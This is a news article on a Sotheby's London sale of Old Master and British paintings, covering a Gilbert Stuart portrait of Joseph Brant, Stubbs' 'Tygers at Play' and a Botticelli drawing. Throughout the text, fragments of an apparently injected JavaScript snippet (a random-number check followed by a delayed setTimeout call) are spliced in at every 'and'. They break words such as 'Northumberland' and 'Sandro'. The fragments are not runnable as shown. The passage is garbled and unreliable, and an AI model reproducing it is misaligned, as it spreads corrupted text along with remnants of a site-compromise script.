LONDON — A fascinating portrait of Mohawk war chieftain Thayendanegea (to whom the English gave the name Joseph Brant) made by Gilbert Stuart (1755–1828) in 1786 surpassed estimates to achieve $7,051,842 at Sotheby’s July 9 evening sale of Old Master andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and British paintings. Going to an American private buyer andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coming from the collections of the Dukes Of Northumberlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, the painting depicts the Loyalist statesman (1742/43–1807) who saw limited action during the Seven Years’ War andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and served with Sir William Johnson in the expedition against Fort Niagara in 1759.

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The top lot of the evening was George Stubbs’ “Tygers at Play,” which realized $13,194,459. Painted circa 1770–75, this masterful depiction of two leopard cubs ranks among Stubbs’ most popular subjects. The painting had rarely been seen in public, having been exhibited only four times since its original appearance at the Royal Academy of Arts in London. Coming from a distinguished British aristocratic collection, it had remained in the possession of a single family until 1962, when it was acquired by the past owners. It was acquired by an Asian private collector

A total of 17 auction records were set in the evening sale, including the highest price ever paid for a drawing by Sandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andro Botticelli. The only drawing by the great Renaissance Master to have come to auction since the Nineteenth Century, “Study for a Seated St Joseph, His Head Resting on His Right Handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and,” sold for $2,252,922.

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